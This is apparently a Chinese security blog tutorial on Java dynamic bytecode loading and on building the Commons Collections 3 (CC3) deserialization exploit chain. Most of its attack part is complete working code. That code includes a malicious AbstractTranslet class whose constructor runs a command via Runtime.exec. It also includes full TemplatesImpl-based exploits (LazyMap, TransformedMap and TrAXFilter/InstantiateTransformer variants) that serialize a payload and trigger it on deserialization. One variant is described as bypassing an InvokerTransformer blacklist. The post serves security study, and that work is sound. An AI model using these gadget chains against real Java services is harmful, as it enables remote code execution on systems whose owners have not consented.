CC3(动态加载字节码)

什么是java的"字节码"

严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。

众所周知,不同平台、不同CPU的计算机指令有差异,但因为Java是一门跨平台的编译型语言,所以这 些差异对于上层开发者来说是透明的,上层开发者只需要将自己的代码编译一次,即可运行在不同平台 的JVM虚拟机中。

甚至,开发者可以用类似Scala、Kotlin这样的语言编写代码,只要你的编译器能够将代码编译成.class文 件,都可以在JVM虚拟机中运行:

利用URLClassLoader加载远程class文件

java的ClassLoader是用来加载字节码文件最基础的方法

ClassLoader是一个”加载器“,告诉java虚拟机如何加载这个类。java默认的ClassLoader就是根据类名来加载类,这个类名是是完整路径,如java.lang.Runtime。

ClassLoader的概念不做深入分析,后面要说的这个ClassLoader:URLClassLoader。

URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类,所以,我们解释 URLClassLoader 的工作过程实际上就是在解释默认的Java类加载器的工作流程。

正常情况下,java会根据配置项sun.boot.class.path和java.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件加载,而这个基础路径分为三种情况:

URL不以斜杠/结尾,则认为是一个JAR文件,使用jarLoader来寻找类,即为在jar包中寻找.class文件

URL以斜杠/结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件

URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader来寻找类

我们正常开发的时候遇到的是前二者,那什么时候才会出现使用Loader寻找类的情况呢?当然是非file协议的情况下,最常见的就是http协议。

我们可以用HTTP协议来测试一下,看java能否从远程HTTP服务器上加载.class文件。先在无软件包的情况下写个Hello.java,记得是写构造函数,写main是不会触发的

然后在当前目录下打开CMD,使用如下命令生成Hello.class

javac C:\Users\zhang\IdeaProjects\tjava\Hello.java

我们来看一下Hello.class里面的内容,其实没什么区别

然后在当前目录起一个http临时服务,同时写个url.java,运行url.java

package org.example;

import java.net.URL;
import java.net.URLClassLoader;

public class url {
public static void main(String[] args) throws Exception{
URL[] urls = {new URL("http://localhost:8000/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("Hello");
c.newInstance();
}
}

成功请求到我们的 /Hello.class 文件,并执行了文件里的字节码,输出了"Hello World"。

所以,作为攻击者,如果我们能够控制目标Java ClassLoader的基础路径为一个http服务器,则可以利 用远程加载的方式执行任意代码了。

利用ClassLoader#defineClass直接加载字节码

上一节中我们认识到了如何利用URLClassLoader加载远程Class文件,也就是字节码。其实,不管是加载远程Class文件,还是本地Class文件,java都经历的是下面这三个方法调用:

其中:

· loadClass的作用是从已加载的类缓存、父加载器等位置寻找类(这里是双亲委派机制),在前面没有找到的情况下,执行findClass

· findClass的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass

· defineClass的作用是处理前面传入的字节码,将其处理成真正的java类

所以可见,真正核心的部分其实是defineClass,他决定了如何将一段字节流变成一个java类,java默认的ClassLoader#defineClass是一个native方法,逻辑在JVM的c语言代码中。

我们可以编写一个简单的代码,来演示如何让系统的defineClass来直接加载字节码:

package org.example;

import java.lang.reflect.Method;
import java.util.Base64;
public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass", String.class,
byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
 }
}

注意一点,在defineClass被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在defineclass时也无法被直接调用到。所以,如果我们要使用defineclass在目标机器上执行任意代码,需要想办法调用构造函数。

执行了上述example,输出了Hello World:

这里,因为系统的ClassLoader#defineClass是一个保护属性,所以我们无法直接在外部访问,不得不适用反射的形式来调用

在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用攻击链TemplateIml的基石。

利用TemplateImpl加载字节码

虽然大部分上层开发者不会直接使用到defieClass方法,但是java底层还是有一些类用到了它(否则他也没有存在的价值了对吧),这就是TemplatesImpl。

com.sun.org.apache.internal.xsltc.TemplateImpl这个类定义了一个内部类TransletClassLoader:

  static final class TransletClassLoader extends ClassLoader {
        private final Map<String,Class> _loadedExternalExtensionFunctions;

         TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
        }

        TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
        }

        public Class<?> loadClass(String name) throws ClassNotFoundException {
            Class<?> ret = null;
            // The _loadedExternalExtensionFunctions will be empty when the
            // SecurityManager is not set and the FSP is turned off
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }

        /**
         * Access to final protected superclass member from outer class.
         */
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }

这个类里重写了defineClass方法,并且这里没有显式地声明其定义域。java中默认情况下,如果一个方法没有声明其作用域,其作用域为default。所以也就是说这里的defineclass由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。

我们从TransletClassLoader#defineClass()向前追溯一下调用链:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

追到最前面两个方法TemplatesImpl#getOutputProperties()、TemplatesImpl#newTransformer(),这两者的作用域是public,可以被外部调用。我们尝试用newTransformer()构造一个简单的POC:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

// 主程序
public class poc {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\zhang\\\\IdeaProjects\\\\ajava\\\\target\\\\classes\\\\org\\\\example\\url.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "calc");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

分析链子

下面详细讲一下这个链得到的过程,我们知道在ClassLoader中的defineClass是protected

我们的目的是调用这个protected修饰的defineClass,有没有办法呢?在Templateslmpl.java处看到,它的TransletClassLoader类里也有defineClass,深入发现TransletClassLoader类是继承于ClassLoader,并且重写了defineClass方法。

并且我们发现TransletClassLoader的defineClass没有声明作用域,java中没有声明作用域就是default,那么这个时候我们可以通过TransletClassLoader的defineClass来调用——ClassLoader的defineClass。

通过find Usages看看谁调用了defineClass方法,在同文件的defineTransletClasses()中调用了defineClass()

但它还是private修饰,我们还得继续往前找谁调用了它。尝试find Usages,当前文件中有三个方法都调用了defineTransletClasses。

第一个是getTransletClasses方法

第二个是getTransletIndex方法

第三个是getTransletInstance方法

在上面我们知道,利用defineClass加载字节码,到后面要通过newInstance()进行初始化才能执行。而getTemplatesimpl里面恰好有newInstance(),首选就是它了。

再来find Usages,在newTransformer()中调用了getTransletInstance,而且它还是public修饰,意味着我们可以在外部调用它。

梳理一下这个链子大致调用


参数赋值

接下来看一下它们的参数赋值,最首先看到getTransletInstance()

我们需要对字节码进行初始化才能够调用,那么此时就要考虑newInstance()前面的_class[_transletIndex]可不可控,如果不可控,那么这条链几乎就废了。

Ctrl+点击查看了一下,两个变量初始值为null和-1

在newInstance周围翻一翻,在上面的defineTransletClasses里面对_class和_transletIndex的值进行了操作,我们跟进看看。

为了顺利走到这部分,我们得先满足一些条件,不然会报错停止运行

查看一下_tfactory的类型为TransformerFactoryImpl,但它有transient修饰,不会被反序列化

那么不会被反序列化,且这个_tfactory为null会报错,那么大概率是在它的readObject方法里对_tfactory进行了赋值,让它在反序列化时有值。

可以看到赋了值,那么这里我们只是测试,也让这个_tfactory等于这个值就好。

构造EXP

现在开始构造EXP吧,先来构建字节码进行命令执行,写个url类

然后点击构建,会在target下生成url.class

接着是defineClass执行的字节码参数,在defineTransletClasses处接收的是_bytecodes[i]

查看一下_bytecodes是个二维数组,而在上面遍历传值时是个一维数组,那么我们用个二维数组包裹着一维数组就好了


public class poc {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\zhang\\\\IdeaProjects\\\\ajava\\\\target\\\\classes\\\\org\\\\example\\url.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

此时不要忘记我们的目的,我们是想构造好条件看看_class[_transletIndex]可不可控。在TemplatesImpl下个断点测试,这时候就发现问题了。

那么这个时候我们想办法让_class[_transletIndex].newInstance()的_transletIndex等于0,让我们的恶意字节码_class[0]进行初始化,就可以执行命令了。

继续进行调试,if处判断字节码的父类是否等于ABSTRACT_TRANSLET,如果不是_transletIndex=-1,接下来进入else爆出空指针错误。后面还有个判断_transletIndex是否<0,如果小于又报错。

感觉很麻烦,其实我们只要让字节码的父类等于它要求的类即好。这样才会进入第一个if,让_transletIndex = i,此刻的i为0,也就是让_transletIndex = 0。不就恰好完成我们的前面所想的_class[_transletIndex]等于_class[0]吗?而且还不让后面报错,一举两得。

修改url.java让它继承父类的某个抽象类,并且实现抽象类还没实现的方法。把鼠标放在public处,点击电灯就可以自动实现了。

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

// TemplatesImpl 的字节码构造
public class url extends AbstractTranslet {

    public url() throws IOException{
        super();
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

重新构建url.class,接下来POC就可以正常弹出计算器了

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

// 主程序
public class poc {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\zhang\\\\IdeaProjects\\\\ajava\\\\target\\\\classes\\\\org\\\\example\\url.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "calc");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

完整EXP

上面我们做了那么多,其实只是把前面cc1尾部命令执行的逻辑换了而已。前面的还是差不多,换的目的是为了绕过黑名单(InvokerTransformer),直接拿cc1前面的代码修改就好。

Transformer数组里面改成调用的就好,其它的全部跟cc1差不多。

LazyMap版

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.jboss.weld.manager.Transform;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

// 主程序
public class poc {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\zhang\\\\IdeaProjects\\\\ajava\\\\target\\\\classes\\\\org\\\\example\\url.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "calc");
        //setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        //obj.newTransformer();

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer",null,null),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object, Object> transformedMap = LazyMap.decorate(map, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = c.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler constructor = (InvocationHandler) construct.newInstance(Override.class, transformedMap);

        Map proxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, constructor);
        Object o = construct.newInstance(Override.class, proxy);

        //serialize(o);
        unserialize("ser.bin");
    }


    //序列化数据
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

TransformMap版

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.jboss.weld.manager.Transform;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

// 主程序
public class poc {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\zhang\\\\IdeaProjects\\\\ajava\\\\target\\\\classes\\\\org\\\\example\\url.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "calc");
        //setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        //obj.newTransformer();

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer",null,null),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","aaa");
        Map<Object,Object> transforedMap = TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annot = c.getDeclaredConstructor(Class.class,Map.class);
        annot.setAccessible(true);
        Object o = annot.newInstance(Target.class,transforedMap);

        serialize(o);
        unserialize("ser.bin");
    }


    //序列化数据
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

那其实在上面还是用到了InvokerTransformer,还不算真正的EXP,下面介绍要用到的类,第一个是TrAXFilter。它的构造函数传入了templates,再调用templates.newTransformer()

这样的话我们想办法利用它,就不需要通过InvokerTransformer来获取newTransformer了

而InstantiateTransformer恰好可以满足需求,它的构造函数传入三个值

关键处在于它的transform方法,通过getConstructor、newInstance来调用TrAXFilter的构造方法。

顺利弹出计算器

最后将它转变成Transformer[]的形式就行了,最终EXP

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.jboss.weld.manager.Transform;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

// 主程序
public class poc {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\zhang\\\\IdeaProjects\\\\ajava\\\\target\\\\classes\\\\org\\\\example\\url.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "calc");
        //setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        //obj.newTransformer();

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","aaa");
        Map<Object,Object> transforedMap = TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annot = c.getDeclaredConstructor(Class.class,Map.class);
        annot.setAccessible(true);
        Object o = annot.newInstance(Target.class,transforedMap);

        serialize(o);
        unserialize("ser.bin");
    }


    //序列化数据
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

参考文章

Java反序列化之字节码二三事 - FreeBuf网络安全行业门户

P牛Java安全漫谈 - 13.Java中动态加载字节码的那些方法

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值